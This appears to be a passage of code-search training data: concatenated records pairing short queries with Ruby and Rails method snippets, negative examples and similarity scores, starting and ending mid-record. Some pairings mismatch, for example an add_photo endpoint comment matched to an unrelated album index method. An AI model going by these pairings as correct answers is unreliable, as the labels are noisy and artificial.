[ "def placebo?; false end", "def ignores; end", "def ignore; end", "def under; end", "def before; end", "def naked_top_level?; end", "def extra; end", "def anchored; end", "def naked_top_level; end", "def private; end", "def take_place\n super(1)\n end", "def before() ; end", "def possibly_include_hidden?; end", "def before() nil ; end", "def skips; end", "def probers; end", "def calls_super # :nodoc:\n false\n end", "def isolated; end", "def isolated; end", "def ignore_me\nend", "def before_all\n super if defined?(super)\n end", "def skipped; end", "def before_each\n super if defined?(super)\n end", "def include_at_top(mod) end", "def before_appending( state )\n\t\t# Nothing to do\n\t\treturn nil\n\tend", "def leading; end", "def isolated?; end", "def isolated?; end", "def ignore_parent_exclusion=(_arg0); end", "def dont_care\n each(&:dont_care)\n myself\n end", "def under=(_); end", "def skipped!; end", "def precedes; [] end", "def actual_flow_control\n super\n end", "def exclude; end", "def begingraphics(*)\n super\n end", "def guard; end", "def -@; end", "def custom; end", "def custom; end", "def writethis; end", "def before_block_boundary?; end", "def ignore_parent_exclusion; end", "def sharded?; true; end", "def included; end", "def excluded; end", "def ignore_parent_exclusion?; end", "def special\n override\n end", "def before\n end", "def called_from; end", "def called_from; end", "def sharded?; false; end", "def weber; end", "def internal; end", "def tag; raise 'Override this method'; end", "def ignore\n @ignore = true\n end", "def semact?; false; end", "def specialty; end", "def sticky?() end", "def overrides; end", "def used?; end", "def unused\n end", "def span?; end", "def faint; end", "def faint; end", "def pre_block\n end", "def pre_block\n end", "def internal?; end", "def before=(_arg0); end", "def mark; end", "def nothing; end", "def included( hooked_instance )\n \n super if defined?( super )\n \n end", "def missed?; end", "def original; end", "def main\n super\n return self\n end", "def _parent; end", "def escaper=(_); end", "def process_fix\n super\n end", "def skip_after; end", "def ignore!\n self.ignored = true\n end", "def buzzword; end", "def buzzword; end", "def skip_backtrace; end", "def before\n\t\t\ttrue\n\t\tend", "def skipped?; end", "def skipped?; end", "def skipped?; end", "def skipped?; end", "def prevent_tampering\n self.empathy_level = 0\n self.inner_comments_count = 0\n end", "def dead?; end", "def incomplete\r\n\r\n end", "def silly_adjective; end", "def extra_state; end", "def leading=(_); end", "def pass; end", "def pass; end", "def self\n @define_self = true", "def celebration; end", "def ignore\n @ignored = true\n self\n end", "def discard; end", "def discard; end" ]
[ "0.6983753", "0.68186224", "0.65628606", "0.65336007", "0.65008503", "0.6331195", "0.61877555", "0.6150585", "0.61462843", "0.61148465", "0.61089253", "0.6101437", "0.6092034", "0.60492635", "0.6045511", "0.6038447", "0.6035159", "0.6018995", "0.6018995", "0.6009316", "0.6007105", "0.5998591", "0.59569985", "0.593132", "0.59200406", "0.59148484", "0.59017545", "0.59017545", "0.5898684", "0.58897996", "0.5872988", "0.5869637", "0.5860309", "0.5842582", "0.5835092", "0.57898533", "0.57866824", "0.5779035", "0.5777844", "0.5777844", "0.57716143", "0.57636034", "0.5761989", "0.57502025", "0.5744573", "0.5725043", "0.5719463", "0.57146674", "0.5709219", "0.56978184", "0.56978184", "0.5691072", "0.5689696", "0.5682254", "0.5672068", "0.5671621", "0.5667058", "0.56605166", "0.56584185", "0.5647308", "0.5642362", "0.56401944", "0.56334156", "0.56310105", "0.56310105", "0.56305814", "0.56305814", "0.56255984", "0.5625265", "0.56247705", "0.5623534", "0.5622297", "0.5601322", "0.5581878", "0.5581201", "0.5579897", "0.5576998", "0.55734444", "0.55701596", "0.55600035", "0.5558014", "0.5558014", "0.55566984", "0.5556331", "0.55529547", "0.55529547", "0.55529547", "0.55529547", "0.55493355", "0.55492896", "0.5548992", "0.5546357", "0.5541532", "0.5533058", "0.5523421", "0.5523421", "0.55227923", "0.5521634", "0.5518169", "0.5516231", "0.5516231" ]
0.0
-1
PUT /albums/:id/photo/:id def add_photo
def index @albums = Album.all render json: @albums end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_photo(album_id, photo_id, file, filename)\n \n end", "def album_add_photo(photo_data, photo_file)\n \n if album \n album.add_or_update_photo(photo_data, photo_file) \n end\n\n end", "def album_update_photo!(photo_data, photo_file)\n\n if album \n album.add_or_update_photo(photo_data, photo_file)\n end\n \n end", "def update\n \n @album = Album.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to album_photo_path(@album,@photo), :notice => 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_photo_album\n\t\tphoto_ids.each do |photo_id|\n\t\t\tphoto = SquarePhoto.find( photo_id )\n\t\t\tself.photo_album.square_photos << photo\n\t\tend\n\tend", "def add_or_update_photo(photo_data, photo_file, filename)\n\n if photo_data.has_key?(:photo_id)\n photo = Media::Photo.get(photo_data[:photo_id])\n else \n photo = Media::Photo.create({:album => self, \n :name => photo_data[:photo_name],\n :description => photo_data[:photo_description]})\n end\n\n photo.store_photo(photo_file, filename)\n\n return photo\n \n end", "def add_photo options={}\n response = post(\"/photos/add\", options)[\"response\"]\n @photo = Response::Photo.new(self, response[\"photo\"])\n end", "def set_album_photo\n @album_photo = AlbumPhoto.find(params[:id])\n end", "def set_album_photo\n @album_photo = AlbumPhoto.find(params[:id])\n end", "def add_photo(path)\n runcmd 'addphoto', path\n puts \"Added photo #{path}\"\n raise \"problem adding photo\" if !$?.success? \n end", "def create\n \t@album = Album.find(params[:album_id])\n \t@photo = @album.photos.create!(params[:photo])\n \tredirect_to @album, :notice => 'Photo created'\n end", "def create\n @album = Album.find(params[:album_id])\n @photo = @album.photos.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to album_photo_path(@album,@photo), :notice => 'Photo was successfully created.' }\n format.json { render :json => @photo, :status => :created, :location => @photo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n @photo.user_id=session[:user_id]\n @photo.album_id= params[:photo][:album_id]\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n \n respond_to do |format|\n if @album.update_attributes(params[:album])\n @album.images.clear\n @album.images << Image.find([params[:images]].flatten)\n @album.save!\n format.html { redirect_to(albums_path, :notice => 'Album was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_album_photo\n @album_photo = AlbumPhoto.find(params[:id])\n @album = Admin::Album.find(params[:album_id])\n end", "def update\n @albums = get_current_albums\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to photos_url, notice: 'Фотография была успешно обновлена.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n @photo.user_id=session[:user_id]\n @photo.album_id= params[:photo][:album_id]\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_photo(album_id, photo_id, file, filename)\n \n end", "def update\n @photo = Photo.find( params[:id])\n if @photo.update_attributes(params[:photo])\n flash[:notice] = \"Photo updated!\"\n if params[:bucket_id]\n redirect_to bucket_album_photo_path( params[:bucket_id], params[:album_id], @photo )\n elsif params[:album_id]\n redirect_to album_photo_path( params[:album_id], @photo )\n else\n redirect_to @photo\n end\n else\n render :action => :edit\n end\n end", "def add_photo(img_url)\n self.photos << img_url\n end", "def create\n file = upload_params;\n file[:album_id]=params[:photo][:album_id];\n @photo = Photo.create(file)\n\n end", "def create\n # photo = photo.create! params.require(:photo)\n @photo = Photo.new(photo_params)\n @photo.album_id = params[:album_id]\n @photo.user_id = current_user.id\n # @photo.pictures.attach(params[:photo][:picture])\n respond_to do |format|\n if @photo.save(validate: false)\n format.html { redirect_to album_photos_path , notice: \"Photo was successfully created.\" }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_photo\n @photo = photo.find(params[:id])\n end", "def photo_params\n params.require(:photo).permit(:title, :photo, :album_id)\n end", "def set_photo\n @photo = Photo.find_by(id: params[:photo_id])\n if @photo.nil?\n render json: { message: \"Photo with id #{params[:photo_id]} not found\" }, status: 404\n end\n end", "def update\n @photo = current_user.photos.find_by_id(params[:id])\n if @photo.nil?\n render json: {error: 'foto no encontrada'}, status: :not_found\n elsif @photo.update(photo_params)\n render json: @photo\n else\n render json: @photo.errors, status: :unprocessable_entity\n end\n end", "def update\n @image = @album.images.find(params[:id])\n @image.update(image_params)\n redirect_to album_path(@image.album.id)\n end", "def create\n @photo = Photo.new(photo_params)\n @albums = get_current_albums\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to photos_url, notice: 'Фотография была успешно добавлена.' }\n format.json { render action: 'show', status: :created, location: @photo }\n else\n format.html { render action: 'new' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def update\n @user = current_user\n @customer = @user.customers.find(params[:customer_id])\n @album = @customer.albums.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to user_customer_album_photos_url(@user, @customer, @album), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_photo\n @photos = Photo.find(params[:id])\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n flash[:notice] = 'Photo was successfully updated.'\n format.html { redirect_to user_album_photos_url(@user, @album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def add(photo)\n response = JSON.parse(connection.post(\"/collections/#{id}/add\", { photo_id: photo.id }).body)\n {\n photo_id: response[\"photo\"][\"id\"],\n collection_id: response[\"collection\"][\"id\"],\n user_id: response[\"user\"][\"id\"],\n created_at: response[\"created_at\"]\n }\n end", "def set_photo\n Photo.find(params[:id])\n end", "def add(params = {})\n\t album_id = params[:album_id]\n\t\tphoto_id = params[:photo_id]\n\t\ttag_name = params[:tag_name]\n\t\traise(ArgumentError, \"You must specify album_id when providing photo_id\") if photo_id && !album_id\n\t\traise(ArgumentError, \"You must specify adding tag name\") if !tag_name\n\t\t\n\t\tpath = \"/data/feed/api/user/#{user_id}\"\n\t\tpath << \"/albumid/#{album_id}\" if album_id\n\t\tpath << \"/photoid/#{photo_id}\" if photo_id\n\t\t\n\t\ttemplate = Template.new(\"adding_tag\", {:tag_name => tag_name})\n\t\t\n\t\turi = URI.parse(path)\n\t\tparsed_body = Connection.new(credentials).post(uri.path, template.render)\n\t\tPresenter::Photo.new(parsed_body[\"entry\"])\n\t end", "def set_photo\r\n @photo = Photo.find(params[:id])\r\n end", "def create\n @photo = Photo.new(params[:photo])\n @photo.file = params[:file]\n\n respond_to do |format|\n if @photo.save\n format.html { render :text => \"FILEID:\" + @photo.file.album.url }\n format.json { render :nothing => true }\n else\n format.html { render :text => \"ERRORS:\" + @photo.errors.full_messages.join(\" \"), :status => 500 }\n format.json { render json => @photo.errors, :status => 500 }\n end\n end\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def update\n @photo = @allbum.photos.find(params[:id])\n#\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to edit_allbum_photos_path(@allbum,@photo), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_or_update_photo! file\n if recipe_photos.any?\n photo = recipe_photos.first\n photo.update!(photo: file)\n photo\n else\n recipe_photos.create(photo: file)\n end\n end", "def update_album(person_id,album_id, caption, location='', privacy='Everyone')\n @restv9.update_album(person_id,album_id, caption, location, privacy)\n end", "def collection_add_photo collection_id, photo_id\n\t\t\traise ZenfolioAPI::ZenfolioAPISessionError, \"Missing collection_id parameter\" if collection_id.nil? || collection_id.to_i == 0\n\t\t\traise ZenfolioAPI::ZenfolioAPISessionError, \"Missing photo_id parameter\" if photo_id.nil? || photo_id.to_i == 0\n\n\t\t\t@response = api_request 'CollectionAddPhoto', [collection_id, photo_id]\n\t\t\traise ZenfolioAPI::ZenfolioAPISessionError, @response['error']['message'] if @response['result'].nil? && @response['error'].length > 0\n\n\t\t\t# TODO: Finish implementing method\n\t\tend", "def create\n @photo = Photo.new(photo_params)\n @photo.vote =0\n respond_to do |format|\n if @photo.save\n current_user.photos.push @photo\n format.html { redirect_to photos_path, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n \n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n begin\n @photo = Photo.find(params[:photo_id])\n rescue\n return render json: {exception: \"PhotosException\", message: \"This photo doesn't exist\"}, status: 400\n end\n end", "def update\n @photo = Photo.with_attached_pictures.find(params[:id])\n @photo.user_id = current_user.id\n #@photo.update\n # raise @photo.inspect\n respond_to do |format|\n if @photo.update(photo_params)\n # raise @photo.inspect\n format.html { redirect_to album_photos_path, notice: \"Photo was successfully updated.\" }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n # TODO: check if photo belongs to current user!\n if @photo.update_attributes(photo_params)\n render :show\n else\n render json: @photo.errors.full_messages, status:422\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n @photo.album = @album\n @photo.user = @user\n respond_to do |format|\n if @photo.save!\n flash[:notice] = 'Photo was successfully created.'\n format.html { redirect_to user_album_photos_url(@user, @album) }\n format.xml { render :xml => @photo, :status => :created, :location => @photo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_photo\n @photo = Photo.find_by(id: params[:id])\n end", "def create\n @photo = Photo.new(photo_params)\n respond_to do |format|\n if @photo.save\n format.html { redirect_to album_path(@photo.album), notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { redirect_to album_path(@photo.album), notice: @photo.errors.full_messages.join(', ') }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @photo = Photo.new\n @photo.album_id = params[:album_id]\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end" ]
[ "0.74968123", "0.74792707", "0.74052936", "0.7179552", "0.7034533", "0.702723", "0.7009274", "0.70063096", "0.6963821", "0.6924226", "0.6905011", "0.69028205", "0.68879515", "0.68671876", "0.6852506", "0.6795133", "0.6764911", "0.67525536", "0.6748545", "0.6739652", "0.67365414", "0.6700993", "0.66347426", "0.66331613", "0.6626639", "0.66188335", "0.6587522", "0.6584559", "0.6576344", "0.6576344", "0.6576344", "0.6576344", "0.6576344", "0.6576344", "0.6574922", "0.65668166", "0.6563184", "0.65618706", "0.6561373", "0.6548166", "0.65429306", "0.6536665", "0.6534494", "0.65273976", "0.65255743", "0.6511612", "0.6504869", "0.6501487", "0.649815", "0.64944416", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64841783", "0.64808017", "0.6474829", "0.64532375", "0.6453028", "0.64519465", "0.64510065", "0.6447699" ]
0.0
-1
Variable Number of Parameters:
def sample (*test) puts "The number of parameters is #{test.length}" for i in 0...test.length puts "The parameters are #{test[i]}" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def params(*); {}; end", "def parameters; end", "def parameters; end", "def parameters; end", "def parameters; end", "def parameters; end", "def parameters; end", "def parameters; end", "def parameters; end", "def parameters=(_arg0); end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def parameters=(_); end", "def params() @param_types end", "def params=(_arg0); end", "def params=(_arg0); end", "def params=(_); end", "def all_params; end", "def do_something(par_1, par_2, par_3)\n\n\nend", "def variableNumberOfArguments (*test)\n puts \"Number of parameters #{test.length}\"\n for i in test\n puts \"The parameters are #{i}\"\n end\n end", "def geeks (*var) \r\n \r\n # to display the total number of parameters \r\n puts \"Number of parameters is: #{var.length}\"\r\n \r\n # using for loop \r\n for i in 0...var.length \r\n puts \"Parameters are: #{var[i]}\"\r\n end\r\nend", "def useParams(a, b = a * 10, c = a + 1)\n puts \"a=\" + a.to_s + \", b=\" + b.to_s + \", c=\" + c.to_s\nend", "def get_parameters; end", "def get_parameters; end", "def do_something parameter1, parameter2, parameter3\nend", "def agi; param(6); end", "def _wrap_parameters(parameters); end", "def cnt; xparam(6); end", "def parameter_types; end", "def sample (*test)\nputs \"The number of parameters is #{test.length}\"\n for i in 0...test.length\n puts \"The parameters are #{test[i]}\"\n end\nend", "def params=(value); end", "def mev; xparam(4); end", "def params\n raise NotImplementedError\n end", "def parse_parameters; end", "def arguments; end", "def arguments; end", "def arguments; end", "def sample (*test)\n puts \"The number of parameters is #{test.length}\"\n for i in 0...test.length\n puts \"The parameters are #{test[i]}\"\n end\nend", "def do_something(par1, par2, par3)\nend", "def do_something(par1, par2, par3)\nend", "def q1 *rest\n puts \"The number of parameters is #{rest.length}.\"\n puts rest\nend", "def mrg; xparam(8); end", "def param; end", "def param; end", "def register_params(params)\n dbg(\"registering params #{params}\",:Env)\n return if params == nil\n arg_i = params.size - 1\n for p in params \n @arguments[p] = arg_i\n arg_i -= 1\n end\n end", "def method(a,b,c)\nend", "def method_name_with_different_number_of_arguments(*arguments)\n puts(arguments)\nend", "def variable_length( *args )\n return args\nend", "def args(*) end", "def parameterize(value); end", "def number_of_arguments(*args)\n puts \"The number of parameters is #{args.length}\"\n for i in 0...args.length\n puts \"The parameters are #{args[i]}\"\n end\nend", "def do_something (one, two, three)\nend", "def splat(*numeros)\n\tnumeros.max #devuelve el maximo de muchos parametros, los almacena en un arreglo\nend", "def atk; param(2); end", "def max_parameters(n, options={:level=>:error})\n\t\t\t\tvalidate(\"Macro '#{@name}' takes up to #{n} parameter(s) (#{@node.params.length} given)\", options) do\n\t\t\t\t\tif n == 0 then\n\t\t\t\t\t\tno_parameters options\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected] <= n \n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "def how_many_args (*input)\n input.count\n end", "def defVals(par1, opt1 = \"optional one applied\", opt2 = \"optional two applied\") \n puts \"First parameter => #{par1}\"\n puts \"Second parameter => #{opt1}\"\n puts \"Third parameter => #{opt2}\"\nend", "def add(n1:, n2:, n3:)\n n1 + n2 + n3\nend", "def trg; xparam(9); end", "def create_params\n @params = []\n 8.times do |i|\n p1 = @actor.class.params[i, @old_level]\n p2 = @actor.class.params[i, @actor.level]\n vocab = Vocab.param(i)\n add_param(vocab, p1, p2)\n end\n end", "def exact_parameters(n, options={:level=>:error})\n\t\t\t\tvalidate(\"Macro '#{@name}' takes exactly #{n} parameter(s) (#{@node.params.length} given)\", options) do\n\t\t\t\t\tif n == 0 then\n\t\t\t\t\t\tno_parameters options\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected] == n \n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "def method (a=3, b=4)\r\nend", "def optionalParameters(a,b,*c)\n #some code\nend", "def pair_params\n end", "def ctr; sparam(3); end", "def method(*a=10)\r\nend", "def do_something(param_1, param_2, param_3)\n\nend", "def parameters(*matches)\r\n logger.debug( \"Adding parameters: #{matches.inspect}\") if logger\r\n# @parameters += matches\r\n @parameters << matches\r\n end", "def min_parameters(n, options={:level=>:error})\n\t\t\t\tvalidate(\"Macro '#{@name}' takes at least #{n} parameter(s) (#{@node.params.length} given)\", options) { @node.params.length >= n }\n\t\t\tend", "def parameters_double_registry; end", "def validate_params\n\n categories.each() do |key, value|\n throw RuntimeError.new(\"ERROR: category '#{key}' contains more than #{maximum_numbers_per_category} parameters. Reduce parameter count.\") if value.size >maximum_numbers_per_category\n end\n\n keys=[]\n numbers=[]\n # slicer contains parameter with number 0... therefore valid parameter numbers starts at 0\n valid_param_numbers=SetupConfiguration.parameter_range()\n\n self.parameters().each() do |p|\n\n $stderr.puts \"WARNING: parameter number 404 is reserved for machine type. you are using it for '#{p.key}'.\" if p.number.eql?(404)\n throw RuntimeError.new(\"ERROR: parameter number '#{p.number}' not supported. Number must be in range #{valid_param_numbers}.\") unless valid_param_numbers.member?(p.number)\n\n if p.param?\n if keys.include? p.key\n raise RuntimeError.new(\"ERROR: parameter key '#{p.key}' defined more than once\")\n else\n keys << p.key\n end\n\n\n if numbers.include? p.number\n raise RuntimeError.new(\"ERROR: parameter number '#{p.number}' defined more than once\")\n else\n numbers << p.number\n end\n else\n assign_param_ref(p)\n end#p.param?\n\n end\n #force fresh sort of parameters\n @parameters = nil\n end", "def arbitrary_params( *args)\n args.each do |arg|\n puts arg\n end\n # other method of iterating through array\n # args.each { |arg| puts arg }\nend", "def how_many_args *args\n args.length\nend", "def parameters(params)\n params.each do |key, value|\n send(\"#{key}=\".to_sym, value) if self.respond_to?(key)\n end\n end", "def pha; sparam(3); end", "def nothing(p1=1,p2=2,p3=3)\nend", "def use_all_parameters\n params = valid_parameters.each {|parameter| add_parameters(parameter)}\n sort_symbols(params)\n end", "def arg_size; end", "def test_Method_InstanceMethods_parameters\n\t\tdef m(a,b=1,*c,&d); end\n\t\t# TODO, assert_equal([[:req,:a],[:opt,:b],[:rest,:c],[:block,:d]], method(:m).parameters)\n\tend", "def how_many_args(*args)\n args.length\nend", "def how_many_args(*args)\n\targs.length\nend", "def process_params(exp)\n _, normal, defaults, splat, rest, kwargs, doublesplat, block = exp.shift 8\n\n args =\n handle_normal_arguments(normal) +\n handle_default_arguments(defaults) +\n handle_splat(splat) +\n handle_normal_arguments(rest) +\n handle_kwargs(kwargs) +\n handle_double_splat(doublesplat) +\n handle_block_argument(block)\n\n s(:args, *args)\n end", "def inputParameters paramsnum \n\n\n #input parameters \n\t\n\n \t\n #input must not have limit info\n puts \"has (must not have type) limit? please input 0 or 1(0 means no limit,1 means has limit)\"\n haslimit = gets\n if haslimit.to_i == 1\n @haslimit = true\n puts \"please input the group num of limitValue\"\n gnum = gets\n inputMustNotHaveLimitValues gnum.to_i\n else\n @haslimit = false\n end\n\n\n #input must have limit info\n=begin puts \"has (must have type) limit? please input 0 or 1(0 means no limit,1 means has limit)\"\n musthavelimit = gets\n if musthavelimit.to_i == 1\n @musthavelimit = true\n puts \"please input the group num of limitValue\"\n gnum = gets\n inputMustHaveLimitValues gnum.to_i\n else\n @musthavelimit = false\n end\n=end\n \n\n end", "def how_many_args *args\n args.count\nend", "def parameters(*args, &block)\n key = parameter(*args, &block)\n rules[key] << true\n end" ]
[ "0.73681694", "0.7285299", "0.7285299", "0.7285299", "0.7285299", "0.7285299", "0.7285299", "0.7285299", "0.7285299", "0.7177535", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.7079", "0.70352435", "0.6983021", "0.6897347", "0.6897347", "0.68301296", "0.674138", "0.6739727", "0.67018545", "0.66824305", "0.6675876", "0.66320056", "0.66320056", "0.6609489", "0.6542274", "0.6542127", "0.6499941", "0.64964986", "0.64511263", "0.6436906", "0.6434017", "0.64098835", "0.6389591", "0.63870037", "0.63870037", "0.63870037", "0.63692844", "0.6321526", "0.6321526", "0.6299319", "0.62886", "0.6283267", "0.6283267", "0.62688434", "0.62596166", "0.62502664", "0.6240764", "0.6209547", "0.6199041", "0.61989665", "0.61985785", "0.6197037", "0.619447", "0.61920965", "0.6183948", "0.6183794", "0.614501", "0.6144999", "0.6139722", "0.61166143", "0.6113645", "0.6111255", "0.61097425", "0.61019546", "0.60952306", "0.6086019", "0.60651326", "0.60626036", "0.60535854", "0.60443723", "0.6037496", "0.6035311", "0.60340333", "0.6033697", "0.6012886", "0.5998343", "0.5992772", "0.5992079", "0.59866375", "0.5985592", "0.59742934", "0.5973931", "0.59723663", "0.5972315" ]
0.63810915
52
Mocks the publishing action by returning a successful response. Ensures that object was preserved before "publishing".
def publish_impl(publish_target, digital_object) return [false, "Never preserved"] if digital_object.first_preserved_at.blank? [true, ["https://example.com/#{publish_target.string_key}/#{digital_object.uid}"]] rescue StandardError => e [false, [e.message]] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def publish\n render json: ErrorSerializer.serialize(resource_name => \"is already published\"), status: 422 and return if resource.published\n\n if ResourcePublisher.new(resource).publish\n render json: resource, status: 200\n else\n render json: ErrorSerializer.serialize(resource.errors), status: 422\n end\n end", "def publish!\n return true if published?\n publish_status!\n end", "def publish\n @page.publish\n respond_with(@page, location: published_api_pages_url)\n end", "def publish!\n publish\n save\n end", "def publish!\n raise 'Not implemented!'\n end", "def publish!\r\n publish\r\n save!\r\n end", "def publish\n if @item.publish\n flash[:notice] = 'Your item is published!'\n else\n flash[:notice] = 'There was an error'\n end\n\n redirect_to @item\n end", "def publish\n end", "def publish\n end", "def publish\n end", "def allow_publish_document\n allow_any_instance_of(Schema).to receive(\n :publish_document\n ).and_return(true)\n end", "def publish\n respond_to do |format|\n if @submission.publish!\n format.html { redirect_to @submission, notice: 'Published!' }\n format.json { head :no_content }\n else\n format.html { redirect_to edit_profile_submission_path(@profile, @submission), notice: 'There were missing parts.' }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish_directly\n publish!\n end", "def respond(response)\n @publisher.publish(response)\n end", "def publish\n respond_to do |format|\n if @post.publish!\n format.html { redirect_to blog_post_no_prefix_path(@blog, @post),\n notice: 'Post was successfully published.' 